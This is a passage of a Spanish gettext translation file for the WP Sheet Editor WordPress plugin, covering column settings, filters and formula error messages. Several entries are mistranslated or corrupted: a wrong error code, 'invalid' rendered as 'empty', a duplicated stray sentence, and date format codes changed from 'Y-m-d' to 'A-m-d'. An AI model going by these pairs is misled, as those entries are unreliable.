columns-manager/columns-manager.php:1212 msgid "Email" msgstr "Correo electrónico" #: columns-manager/columns-manager.php:1173 #: wp-sheet-editor/dev/inc/api/bootstrap.php:484 #: wp-sheet-editor/dev/inc/teasers/post-types.php:93 #: wp-sheet-editor/dev/inc/teasers/post-types.php:108 msgid "Title" msgstr "Título" #: columns-manager/columns-manager.php:1174 #: columns-manager/columns-manager.php:1183 msgid "Slug" msgstr "Slug" #: columns-manager/columns-manager.php:1177 msgid "Saved them separated by comma" msgstr "Guárdalos separados por comas" #: columns-manager/columns-manager.php:1178 msgid "Save them as serialized array" msgstr "Guárdalos como un array serializado" #: columns-manager/columns-manager.php:1181 msgid "Term ID" msgstr "ID del término" #: columns-manager/columns-manager.php:1182 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/downloadable.php:258 #: woocommerce/inc/downloadable.php:259 woocommerce/inc/variations.php:506 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:946 msgid "Name" msgstr "Nombre" #: columns-manager/columns-manager.php:1187 msgid "Same as the spreadsheet taxonomy" msgstr "Igual que la taxonomía de la hoja de cálculo" #: columns-manager/columns-manager.php:1193 msgid "Same as the spreadsheet post type" msgstr "Igual que el post type de la hoja de cálculo" #: columns-manager/columns-manager.php:1198 msgid "Automatic" msgstr "Automático" #: columns-manager/columns-manager.php:1199 msgid "Text" msgstr "Texto" #: columns-manager/columns-manager.php:1200 msgid "Text editor (tinymce)" msgstr "Editor de texto (tinymce)" #: columns-manager/columns-manager.php:1201 msgid "Single selection dropdown" msgstr "Desplegable de selección simple" #: columns-manager/columns-manager.php:1202 msgid "Multi select dropdown" msgstr "Desplegable de selección múltiple" #: columns-manager/columns-manager.php:1203 msgid "Checkbox" msgstr "Casilla de verificación" #: columns-manager/columns-manager.php:1204 msgid "File upload" msgstr "Cargar archivo" #: columns-manager/columns-manager.php:1205 #: wp-sheet-editor/dev/inc/api/bootstrap.php:614 #: wp-sheet-editor/dev/inc/teasers/post-types.php:97 msgid "Date" msgstr "Fecha" #: columns-manager/columns-manager.php:1206 msgid "Date and time" msgstr "Fecha y hora" #: columns-manager/columns-manager.php:1207 msgid "User dropdown" msgstr "Desplegable de usuario" #: columns-manager/columns-manager.php:1208 msgid "Post dropdown" msgstr "Desplegable de posts" #: columns-manager/columns-manager.php:1209 msgid "Taxonomy term dropdown" msgstr "Desplegable de términos de taxonomía" #: columns-manager/columns-manager.php:1210 msgid "Currency" msgstr "Moneda" #: columns-manager/columns-manager.php:1211 msgid "URL" msgstr "URL" #: columns-manager/columns-manager.php:1213 formulas/inc/ui.php:336 #: formulas/inc/ui.php:364 msgid "Number" msgstr "Número" #: columns-manager/columns-manager.php:1214 msgid "Clickable button" msgstr "Botón" #: columns-manager/columns-manager.php:1215 msgid "Raw HTML" msgstr "Raw HTML" #: columns-manager/columns-manager.php:1221 #: wp-sheet-editor/dev/inc/api/helpers.php:955 msgid "Default" msgstr "Por defecto" #: columns-manager/columns-manager.php:1233 msgid "Column format" msgstr "Formato de columna" #: columns-manager/columns-manager.php:1238 msgid "" "This format will only allow administrators with the capability " "unfiltered_html to save any HTML in this column, we'll still remove unsafe " "html tags when non-administrators save values in this column." msgstr "" "Este formato sólo permitirá a los administradores con la capacidad " "unfiltered_html guardar cualquier HTML en esta columna, seguiremos " "eliminando las etiquetas html no seguras cuando los no administradores " "guarden valores en esta columna." #: columns-manager/columns-manager.php:1241 msgid "" "This can be used if the cell value will always be a URL, so the cell will be " "displayed as readonly and it will contain a button that will open the URL " "from the cell value." msgstr "" "Esto se puede utilizar si el valor de la celda será siempre una URL, por lo " "que la celda se mostrará como de sólo lectura y contendrá un botón que " "abrirá la URL a partir del valor de la celda." #: columns-manager/columns-manager.php:1244 #: columns-manager/columns-manager.php:1249 msgid "Allowed values" msgstr "Valores permitidos" #: columns-manager/columns-manager.php:1245 #: columns-manager/columns-manager.php:1250 msgid "" "Enter each choice on a new line. For more control, you may specify both a " "value and label like this: red : Red" msgstr "" "Ingresa cada selección en una nueva línea. Para mayor control, puedes " "especificar un valor y una etiqueta así: rojo : Rojo" #: columns-manager/columns-manager.php:1252 msgid "How are the multiple values saved in the database?" msgstr "¿Cómo se guardan los valores múltiples en la base de datos?" #: columns-manager/columns-manager.php:1257 msgid "What value is saved when the checkbox is checked?" msgstr "¿Qué valor se guarda cuando la casilla de verificación está marcada?" #: columns-manager/columns-manager.php:1259 msgid "What value is saved when the checkbox is unchecked?" msgstr "" "¿Qué valor se guarda cuando la casilla de verificación está desmarcada?" #: columns-manager/columns-manager.php:1263 msgid "" "You will be able to type the username in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre de usuario en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1264 msgid "How is the user saved in the database?" msgstr "¿Cómo se guarda el usuario en la base de datos?" #: columns-manager/columns-manager.php:1269 msgid "" "You will be able to type the term name in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre del término en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1270 msgid "How is the taxonomy term saved in the database?" msgstr "¿Cómo se guarda el término taxonómico en la base de datos?" #: columns-manager/columns-manager.php:1275 msgid "Allow multiple terms per field?" msgstr "¿Permitir varios términos por campo?" #: columns-manager/columns-manager.php:1277 msgid "How do you want to save the multiple terms?" msgstr "¿Cómo quieres guardar los términos múltiples?" #: columns-manager/columns-manager.php:1280 msgid "Accept terms from this taxonomy" msgstr "Aceptar términos de esta taxonomía" #: columns-manager/columns-manager.php:1281 msgid "" "For example, if you select the blog categories, we will only accept blog " "categories in this column." msgstr "" "Por ejemplo, si seleccionas las categorías del blog, sólo aceptaremos " "categorías del blog en esta columna." #: columns-manager/columns-manager.php:1285 msgid "" "You will be able to type numbers without formatting, for example: 999999.88 " "or 100, and we will automatically save them in the formatted way. This " "conversion will happen when you save and not live when you edit in the cells " "and you will see the modified values on the next spreadsheet reload." msgstr "" "Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los " "guardaremos automáticamente con formato. Esta conversión se producirá cuando " "guardes y no en directo cuando edites en las celdas y verás los valores " "modificados en la siguiente recarga de la hoja de cálculo." #: columns-manager/columns-manager.php:1286 msgid "Number of decimals" msgstr "Número de decimales" #: columns-manager/columns-manager.php:1289 msgid "Decimals separator" msgstr "Separador de decimales" #: columns-manager/columns-manager.php:1292 msgid "Thousands separator" msgstr "Separador de miles" #: columns-manager/columns-manager.php:1296 msgid "" "You will be able to type the post title in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el título de la entrada en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1297 msgid "How is the post saved in the database?" msgstr "¿Cómo se guarda el post en la base de datos?" #: columns-manager/columns-manager.php:1301 msgid "Allow multiple posts per field?" msgstr "¿Permitir varios posts por campo?" #: columns-manager/columns-manager.php:1303 msgid "How do you want to save the multiple posts?" msgstr "¿Cómo quieres guardar los posts múltiples?" #: columns-manager/columns-manager.php:1306 msgid "Accept post from this post type" msgstr "Aceptar posts de este post type" #: columns-manager/columns-manager.php:1307 msgid "" "For example, if you select the post type \"product\", we will only accept " "product titles." msgstr "" "Por ejemplo, si seleccionas el post type \"producto\", sólo aceptaremos " "títulos de productos." #: columns-manager/columns-manager.php:1311 msgid "How is the file saved in the database?" msgstr "¿Cómo se guarda el archivo en la base de datos?" #: columns-manager/columns-manager.php:1312 msgid "" "The cell will display the values as URLs and you can edit in the cells using " "full URLs, file ID, or file name.
                  External URLs are automatically " "imported into the media library.
                  We will save the value in the format " "selected here" msgstr "" "La celda mostrará los valores como URLs y puedes editar en las celdas usando " "URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs " "externas se importan automáticamente en la biblioteca multimedia." "
                  Guardaremos el valor en el formato seleccionado aquí" #: columns-manager/columns-manager.php:1316 msgid "Allow multiple files per field?" msgstr "¿Permitir varios archivos por campo?" #: columns-manager/columns-manager.php:1317 msgid "How do you want to save the multiple files?" msgstr "¿Cómo quieres guardar los archivos múltiples?" #: columns-manager/columns-manager.php:1322 msgid "What date format do you want to display in the spreadsheet?" msgstr "¿Qué formato de fecha quieres mostrar en la hoja de cálculo?" #: columns-manager/columns-manager.php:1323 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d" #: columns-manager/columns-manager.php:1326 #: columns-manager/columns-manager.php:1335 msgid "What date format do you want to save in the database?" msgstr "¿Qué formato de fecha quieres guardar en la base de datos?" #: columns-manager/columns-manager.php:1327 msgid "" "Enter a date format. List of formats. Example: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d" #: columns-manager/columns-manager.php:1331 msgid "What date time format do you want to display in the spreadsheet?" msgstr "" "¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?" #: columns-manager/columns-manager.php:1332 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "D-M-A\n" "\n" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d H:i:s" #: columns-manager/columns-manager.php:1336 msgid "" "Enter a date format. List of formats. Example: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d H:i:s" #: columns-manager/inc/column-groups.php:49 msgid "Spreadsheet views" msgstr "Vista de hojas de cálculo" #: columns-manager/inc/column-groups.php:82 #: wp-sheet-editor/dev/inc/options-init.php:562 #: wp-sheet-editor/dev/wp-sheet-editor.php:1147 msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #: columns-manager/inc/column-groups.php:83 msgid "" "Note. This is not a security feature, the user can edit all the fields in " "the normal editor based on the role. This option is for convenience, so they " "only see the columns they need when they open the spreadsheet editor. If you " "leave these fields empty they can switch between all the existing views" msgstr "" "Nota. Esta no es una característica de seguridad, el usuario puede editar " "todos los campos en el editor normal basado en el rol. Esta opción es por " "conveniencia, para que los usuarios puedan solo ver las columnas que " "necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, " "podrán cambiar entre todas las vistas existentes" #: columns-manager/inc/column-groups.php:100 msgid "%s: Allowed spreadsheet views" msgstr "%s: Hojas de cálculo permitidas" #: columns-manager/inc/column-groups.php:103 msgid "Please enter the name of the spreadsheet views separated by commas." msgstr "" "Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas " "por comas." #: columns-manager/inc/column-groups.php:332 msgid "Add a name for this group of columns" msgstr "Agrega un nombre para este grupo de columnas" #: columns-manager/inc/column-groups.php:332 msgid "" "We will save this group of columns as a spreadsheet view and you can switch " "between spreadsheets in the toolbar" msgstr "" "Guardaremos este grupo de columnas como una vista de la hoja de cálculo y " "podrás cambiar entre vistas en la barra de herramientas" #: columns-renaming/columns-renaming.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:326 msgid "Rename column" msgstr "Renombrar columna" #: columns-renaming/columns-renaming.php:59 #: columns-visibility/columns-visibility.php:156 #: columns-visibility/columns-visibility.php:169 #: columns-visibility/columns-visibility.php:209 #: universal-sheet/universal-sheet.php:139 woocommerce/inc/attributes.php:795 #: woocommerce/inc/attributes.php:1015 woocommerce/inc/variations.php:1252 #: woocommerce/inc/variations.php:1279 wp-sheet-editor/dev/inc/ajax.php:73 #: wp-sheet-editor/dev/inc/ajax.php:160 wp-sheet-editor/dev/inc/ajax.php:192 #: wp-sheet-editor/dev/inc/ajax.php:237 wp-sheet-editor/dev/inc/ajax.php:284 #: wp-sheet-editor/dev/inc/ajax.php:305 wp-sheet-editor/dev/inc/ajax.php:383 msgid "Missing parameters." msgstr "Parámetros faltantes." #: columns-renaming/columns-renaming.php:63 #: columns-visibility/columns-visibility.php:160 #: columns-visibility/columns-visibility.php:173 #: columns-visibility/columns-visibility.php:269 msgid "You dont have enough permissions to execute this action." msgstr "No tienes suficientes permisos para ejecutar esta acción." #: columns-visibility/columns-visibility.php:164 msgid "" "Columns restored successfully, please reload the page to see the restored " "columns and enable them" msgstr "" "Columnas restauradas con éxito. Por favor, recarga la página para ver las " "columnas restauradas y habilitarlas" #: columns-visibility/columns-visibility.php:356 msgid "Hide / Display / Sort columns" msgstr "Ocultar / Mostrar columnas" #: columns-visibility/views/form.php:12 msgid "" "Drag the columns to the left or right side to enable/disable them, drag them " "to the top or bottom to sort them, click on the \"edit\" button to rename " "them, click on the \"x\" button to delete them completely (only when they " "are disabled previously)." msgstr "" "Arrastra las columnas a la izquierda o a la derecha para habilitarlas/" "deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. " "Haz clic en el botón \"editar\" para renombrarlas, haz clic en el botón " "\"x\" para borrarlas por completo (sólo cuando estén deshabilitadas " "previamente)." #: columns-visibility/views/form.php:15 columns-visibility/views/form.php:73 msgid "Enable all" msgstr "Habilitar todas" #: columns-visibility/views/form.php:16 columns-visibility/views/form.php:27 msgid "Disable all" msgstr "Deshabilitar todas" #: columns-visibility/views/form.php:22 msgid "Enabled" msgstr "Habilitadas" #: columns-visibility/views/form.php:22 columns-visibility/views/form.php:67 msgid "Bulk" msgstr "Masivo" #: columns-visibility/views/form.php:24 columns-visibility/views/form.php:70 msgid "Enter a search term..." msgstr "Ingresa un término de búsqueda..." #: columns-visibility/views/form.php:26 columns-visibility/views/form.php:72 #: universal-sheet/views/import-modal.php:85 msgid "Bulk actions" msgstr "Acciones masivas" #: columns-visibility/views/form.php:28 columns-visibility/views/form.php:75 msgid "Sort alphabetically ASC" msgstr "Ordenar alfabéticamente ASC" #: columns-visibility/views/form.php:29 columns-visibility/views/form.php:76 msgid "Sort alphabetically DESC" msgstr "Ordenar alfabéticamente DESC" #: columns-visibility/views/form.php:56 columns-visibility/views/form.php:99 msgid "" "Remove column completely. If you want to use it later you can disable it by " "dragging and dropping to the right column" msgstr "" "Quitar la columna completamente. Si quieres usarla más tarde, puedes " "deshabilitarla arrastrando y soltando a la columna de la derecha" #: columns-visibility/views/form.php:58 columns-visibility/views/form.php:101 msgid "Disable column. You can enable it later." msgstr "Deshabilitar columna. Puedes habilitarla más tarde." #: columns-visibility/views/form.php:59 columns-visibility/views/form.php:102 msgid "Enable column" msgstr "Habilitar columna" #: columns-visibility/views/form.php:67 msgid "Disabled" msgstr "Deshabilitada" #: columns-visibility/views/form.php:74 msgid "Delete all" msgstr "Borrar todo" #: columns-visibility/views/form.php:95 msgid "Enabling this column requires a page reload" msgstr "Habilitar esta columna requiere una recarga de la página" #: columns-visibility/views/form.php:114 msgid "A column is missing?" msgstr "¿Falta una columna?" #: columns-visibility/views/form.php:116 msgid "" "- First, edit one item in the normal editor and fill all the fields manually." msgstr "" "- Primero, edita un elemento en el editor normal y rellena todos los campos " "manualmente." #: columns-visibility/views/form.php:125 msgid "" "- We can scan the database, find new fields, and create columns automatically" msgstr "" "- Podemos escanear la base de datos, encontrar nuevos campos y crear " "columnas automáticamente" #: columns-visibility/views/form.php:132 msgid "You can do this multiple times" msgstr "Puedes hacer esto varias veces" #: columns-visibility/views/form.php:132 msgid "Scan Now" msgstr "Escanear Ahora" #: columns-visibility/views/form.php:137 msgid "- If the previous solution failed, you can create new columns manually." msgstr "" "- Si la solución anterior falló, puedes crear nuevas columnas manualmente." #: columns-visibility/views/form.php:137 msgid "Create column" msgstr "Crear columna" #: columns-visibility/views/form.php:139 msgid "- Maybe you deleted the columns from the list." msgstr "- Quizá eliminaste las columnas de la lista." #: columns-visibility/views/form.php:139 msgid "Restore deleted columns" msgstr "Restaurar columnas eliminadas" #: columns-visibility/views/form.php:140 msgid "- We can help you." msgstr "- Podemos ayudarte." #: columns-visibility/views/form.php:140 #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 #: wp-sheet-editor/dev/wp-sheet-editor.php:1056 msgid "Contact us" msgstr "Contáctanos" #: columns-visibility/views/form.php:146 msgid "Save these settings for future sessions?" msgstr "¿Guardar estos ajustes para sesiones futuras?" #: columns-visibility/views/form.php:154 msgid "Apply settings" msgstr "Aplicar ajustes" #: columns-visibility/views/form.php:155 filters/filters.php:573 #: formulas/inc/ui.php:153 universal-sheet/views/import-modal.php:228 #: woocommerce/views/spreadsheet-create-variations-modal.php:112 #: wp-sheet-editor/dev/inc/integrations/notifier.php:296 #: wp-sheet-editor/dev/inc/teasers/formulas.php:76 #: wp-sheet-editor/dev/inc/teasers/frontend.php:78 #: wp-sheet-editor/dev/inc/teasers/post-types.php:133 #: wp-sheet-editor/dev/views/editor-page.php:289 #: wp-sheet-editor/dev/views/editor-page.php:340 #: wp-sheet-editor/dev/views/editor-page.php:364 #: wp-sheet-editor/dev/views/extensions-modal.php:10 #: wp-sheet-editor/dev/views/settings-form.php:121 #: wp-sheet-editor/dev/views/support-modal.php:24 msgid "Close" msgstr "Cerrar" #: custom-columns/custom-columns.php:431 msgid "Add columns for custom fields" msgstr "Añadir columnas nuevas para campos personalizados" #: custom-columns/custom-columns.php:580 msgid "Missing columns" msgstr "Columnas faltantes" #: custom-columns/custom-columns.php:622 msgid "Missing post type or column_key" msgstr "Falta el post type o la column_key (clave de la columna)" #: custom-columns/custom-columns.php:625 custom-columns/custom-columns.php:649 #: custom-columns/custom-columns.php:672 msgid "" "You are not allowed to do this action. Please reload the page or log in " "again." msgstr "" "No puedes realizar esta acción. Por favor, recarga la página o inicia sesión " "de nuevo." #: custom-columns/custom-columns.php:635 msgid "The meta field was deleted successfully" msgstr "El campo meta fue eliminado con éxito" #: custom-columns/custom-columns.php:639 msgid "The meta field could not be deleted." msgstr "El campo meta no pudo ser eliminado." #: custom-columns/custom-columns.php:646 msgid "" "Missing post type, old_column_key, or new_column_key; or the old and new key " "are the same." msgstr "" "Falta el post type, old_column_key, o new_column_key; o la clave antigua y " "la clave nueva son iguales." #: custom-columns/custom-columns.php:662 msgid "The meta key was renamed successfully" msgstr "La clave meta fue renombrada con éxito" #: custom-columns/custom-columns.php:666 msgid "The meta key couldnt be renamed." msgstr "La clave meta no pudo ser renombrada." #: custom-columns/custom-columns.php:703 msgid "Columns could not be saved. Try again." msgstr "Las columnas no se pudieron guardar. Inténtalo de nuevo." #: custom-columns/custom-columns.php:706 msgid "Changes saved" msgstr "Cambios guardados" #: custom-columns/custom-columns.php:720 msgid "Are you sure you want to delete this column?" msgstr "¿Estás seguro de que quieres borrar esta columna?" #: custom-columns/custom-columns.php:728 msgid "Custom columns" msgstr "Columnas personalizadas" #: custom-columns/views/settings-page.php:11 #: spreadsheet-setup/views/page.php:11 #: wp-sheet-editor/dev/inc/api/bootstrap.php:146 #: wp-sheet-editor/dev/views/editor-page.php:70 #: wp-sheet-editor/dev/views/extensions-page.php:16 #: wp-sheet-editor/dev/views/quick-setup.php:28 #: wp-sheet-editor/dev/views/settings-page.php:5 #: wp-sheet-editor/dev/views/whats-new.php:12 #: wp-sheet-editor/dev/wp-sheet-editor.php:1153 msgid "Sheet Editor" msgstr "Sheet Editor" #: custom-columns/views/settings-page.php:14 msgid "Add New Columns to the Spreadsheet" msgstr "Agregar nuevas columnas a la hoja de cálculo" #: custom-columns/views/settings-page.php:16 msgid "" "Enter the column name (anything you want), and select the field key from the " "dropdown. If you dont find it you can type it in the dropdown. View Tutorial" msgstr "" "Ingresa el nombre de la columna (lo que quieras) y selecciona la clave de " "campo en el menú desplegable. Si no la encuentras, puedes escribirla en el " "desplegable. Ver Tutorial " #: custom-columns/views/settings-page.php:17 msgid "" "Enable the advanced mode at the bottom of the page to customize the column " "width, format (editor, file upload, taxonomies), etc." msgstr "" "Habilita el modo avanzado en la parte inferior de la página para " "personalizar el ancho de la columna, el formato (editor, carga de archivos, " "taxonomías), etc." #: custom-columns/views/settings-page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "Need help? Contact us" msgstr "¿Necesitas ayuda? Contáctanos" #: custom-columns/views/settings-page.php:38 msgid "Column name" msgstr "Nombre de columna" #: custom-columns/views/settings-page.php:38 msgid "The column name displayed in the spreadsheet" msgstr "Nombre de la columna que se muestra en la hoja de cálculo" #: custom-columns/views/settings-page.php:42 msgid "Column key" msgstr "Clave de la columna" #: custom-columns/views/settings-page.php:42 msgid "" "The key that will be used for saving the information in the database. This " "must be unique, only letters and underscores." msgstr "" "Clave que se utilizará para guardar la información en la base de datos. Debe " "ser única, sólo letras y guiones bajos." #: custom-columns/views/settings-page.php:62 msgid "Data source" msgstr "Fuente de datos" #: custom-columns/views/settings-page.php:62 msgid "Select the kind of information used in the cells of this column." msgstr "" "Selecciona el tipo de información utilizada en las celdas de esta columna." #: custom-columns/views/settings-page.php:64 msgid "Post data" msgstr "Datos del post" #: custom-columns/views/settings-page.php:65 msgid "Post meta (i.e. metaboxes)" msgstr "Meta del post (es decir, metaboxes)" #: custom-columns/views/settings-page.php:66 msgid "Post terms (i.e. categories)" msgstr "Términos del post (es decir, categorías)" #: custom-columns/views/settings-page.php:70 msgid "Post type(s)" msgstr "Post type(s)" #: custom-columns/views/settings-page.php:70 msgid "What kind of posts require this column in the spreadsheet?" msgstr "¿Qué post types requieren esta columna en la hoja de cálculo?" #: custom-columns/views/settings-page.php:95 msgid "Allow to edit using formulas?" msgstr "¿Permitir editar usando fórmulas?" #: custom-columns/views/settings-page.php:95 msgid "If you disable this option, this column will be edited manually only." msgstr "Si deshabilitas esta opción, esta columna sólo se editará manualmente." #: custom-columns/views/settings-page.php:99 msgid "Allow to hide column?" msgstr "¿Permitir ocultar la columna?" #: custom-columns/views/settings-page.php:99 msgid "Allow to hide this column on the settings page?" msgstr "¿Permitir ocultar esta columna en la página de ajustes?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column?" msgstr "¿Permitir renombrar la columna?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column on the settings page?" msgstr "¿Permitir renombrar la columna en la página de ajustes?" #: custom-columns/views/settings-page.php:107 msgid "Cell type" msgstr "Tipo de celda" #: custom-columns/views/settings-page.php:107 msgid "" "Select the format of the cells, if the cells should be normal text, a file " "uploader, or text editor." msgstr "" "Selecciona el formato de las celdas, si las celdas deben ser de texto " "normal, un cargador de archivos o un editor de texto." #: custom-columns/views/settings-page.php:110 msgid "Normal cell" msgstr "Celda normal" #: custom-columns/views/settings-page.php:111 msgid "TinyMCE Editor" msgstr "Editor TinyMCE" #: custom-columns/views/settings-page.php:112 msgid "File upload (single)" msgstr "Carga de archivos (individual)" #: custom-columns/views/settings-page.php:113 msgid "File upload (multiple)" msgstr "Carga de archivos (múltiple)" #: custom-columns/views/settings-page.php:117 msgid "Plain text mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:119 #: custom-columns/views/settings-page.php:128 msgid "Simple text" msgstr "Texto simple" #: custom-columns/views/settings-page.php:120 #: custom-columns/views/settings-page.php:129 msgid "Calendar" msgstr "Calendario" #: custom-columns/views/settings-page.php:121 msgid "Taxonomy dropdown. Only if data source = post terms." msgstr "" "Menú desplegable de taxonomías. Sólo si la fuente de datos = Términos del " "post." #: custom-columns/views/settings-page.php:122 #: custom-columns/views/settings-page.php:131 msgid "Unfiltered HTML" msgstr "HTML sin filtrar" #: custom-columns/views/settings-page.php:126 msgid "Formatted cell mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:130 msgid "Taxonomy dropdown" msgstr "Desplegado de taxonomías" #: custom-columns/views/settings-page.php:135 msgid "Column width (pixels)" msgstr "Ancho de columna (pixeles)" #: custom-columns/views/settings-page.php:141 formulas/inc/ui.php:195 msgid "Delete" msgstr "Eliminar" #: custom-columns/views/settings-page.php:148 #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:339 msgid "Add new column" msgstr "Añadir nueva columna" #: custom-columns/views/settings-page.php:152 msgid "Advanced mode" msgstr "Modo avanzado" #: factory.php:226 wp-sheet-editor/dev/wp-sheet-editor.php:1356 msgid "My license" msgstr "Mi licencia" #: filters/filters.php:197 msgid "" "To search among all posts use the Search tool. Use this to locate and " "highlight one value in the loaded rows in the spreadsheet. I.e. highlight a " "SKU or email or title." msgstr "" "Para buscar entre todos los posts, usa la herramienta de búsqueda. Se usa " "para localizar y resaltar un valor en las filas cargadas en la hoja de " "cálculo. Es decir, resaltar un SKU, correo electrónico o título específico." #: filters/filters.php:198 msgid "Locate cell" msgstr "Localizar celda" #: filters/filters.php:199 msgid "Locate cell." msgstr "Localizar celda." #: filters/filters.php:207 msgid "" "Enter a word and we will find the first matching column. You will avoid " "scrolling through dozens of columns to find the one you need." msgstr "" "Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás " "tener que desplazarte por docenas de columnas para encontrar la que " "necesitas." #: filters/filters.php:208 filters/filters.php:209 msgid "Locate column" msgstr "Localizar columna" #: filters/filters.php:224 filters/filters.php:236 filters/filters.php:521 msgid "Search" msgstr "Buscar" #: filters/filters.php:236 msgid "Quick search" msgstr "Búsqueda rápida" #: filters/filters.php:236 msgid "Enter a keyword" msgstr "Ingresa una palabra clave" #: filters/filters.php:491 msgid "Contains keyword" msgstr "Contiene palabra clave" #: filters/filters.php:492 msgid "" "It searches in the post title and post content. Search by multiple keywords " "separating keywords with a semicolon (;)" msgstr "" "Busca en el título de la entrada y en su contenido. Busca por varias " "palabras clave separándolas con punto y coma (;)" #: filters/filters.php:501 wp-sheet-editor/dev/inc/api/bootstrap.php:705 #: wp-sheet-editor/dev/inc/teasers/post-types.php:99 msgid "Status" msgstr "Estado" #: filters/filters.php:559 msgid "Enter a username or email..." msgstr "Ingresa un nombre de usuario o correo electrónico..." #: filters/filters.php:572 msgid "Run search" msgstr "Ejecutar búsqueda" #: formulas/formulas.php:84 msgid "Invalid #898AJSI. The replace requires 2 parameters, we received one" msgstr "" "#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno" #: formulas/formulas.php:97 msgid "Invalid #8W89PQ. Math formula is empty." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:102 msgid "Invalid #PQ8SPQ. The math formula contains a comma: %s" msgstr "#PQ8SPQ inválido. La fórmula matemática contiene una coma: %s" #: formulas/formulas.php:107 msgid "Invalid #8W89PWQ. Math formula is invalid." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:118 msgid "Invalid #PQ8PHP. The PHP function does not exist: %s" msgstr "#PQ8SPQ inválido. La función PHP no existe: %s" #: formulas/formulas.php:123 msgid "" "Invalid #8W23CV. We accept MATH and REPLACE formulas only, we received an " "unknown formula type." msgstr "" "#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un " "tipo de fórmula desconocida." #: formulas/formulas.php:179 msgid "The random values could not be read." msgstr "Los valores aleatorios no pudieron ser leídos." #: formulas/formulas.php:319 msgid "" "The math formula can't be applied. We found some existing data is not " "numeric. Data found: %1$s, ID: %2$d" msgstr "" "No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no " "es numérico. Datos encontrados: %1$s, ID: %2$d" #: formulas/formulas.php:333 msgid "" "Error. The math engine could not execute the math operation: %1$s, ID: %2$d" msgstr "" "Error. El motor matemático no pudo ejecutar la operación matemática: %1$s, " "ID: %2$d" #: formulas/formulas.php:449 msgid "The search parameter must contain $current_value$ only" msgstr "El parámetro de búsqueda debe contener $current_value$ solamente" #: formulas/formulas.php:457 msgid "Value in the replace section is not valid" msgstr "El valor en la sección de reemplazo no es válido" #: formulas/formulas.php:837 msgid "You do not have permission to delete posts." msgstr "No tiene suficientes permisos para borrar filas." #: formulas/formulas.php:882 msgid "Missing number and time unit." msgstr "Falta el número y la unidad de tiempo." #: formulas/formulas.php:886 msgid "Invalid time unit." msgstr "Unidad de tiempo inválida." #: formulas/formulas.php:891 msgid "Please indicate which terms you want to remove." msgstr "Por favor, indica cuáles términos quieres remover." #: formulas/formulas.php:897 msgid "Only administrators are allowed to send emails to users." msgstr "" "Solo los administradores pueden enviar correos electrónicos a los usuarios." #: formulas/formulas.php:900 msgid "Please enter the email subject and email message." msgstr "Ingresa el asunto y el mensaje del correo electrónico." #: formulas/formulas.php:904 msgid "The column selected is not valid." msgstr "La columna seleccionada no es válida." #: formulas/formulas.php:954 msgid "" "Error. The status column must be enabled in the spreadsheet before we can " "remove duplicates." msgstr "" "Error. La columna \"Estado\" debe estar habilitada en la hoja de cálculo " "antes de remover los duplicados." #: formulas/formulas.php:1242 wp-sheet-editor/dev/inc/ajax.php:263 #: wp-sheet-editor/dev/inc/api/helpers.php:878 msgid "Error: %s" msgstr "Error: %s" #: formulas/formulas.php:1279 msgid "Bulk edit not executed. No items found matching the criteria." msgstr "" "Cambio masivo no ejecutado. No se han encontrado elementos que cumplan los " "criterios." #: formulas/formulas.php:1296 msgid "

                  Complete

                  ." msgstr "

                  Completo

                  ." #: formulas/formulas.php:1313 msgid "" "

                  Editing the field: " "{column_label}. Items to process: {total}, Progress: " "{progress_percentage}%%, We have updated {edited} items.

                  " msgstr "" "

                  Editando el campo: " "{column_label}. Filas a procesar: {total}, Progreso: " "{progress_percentage}%%, Hemos actualizado {edited} filas.

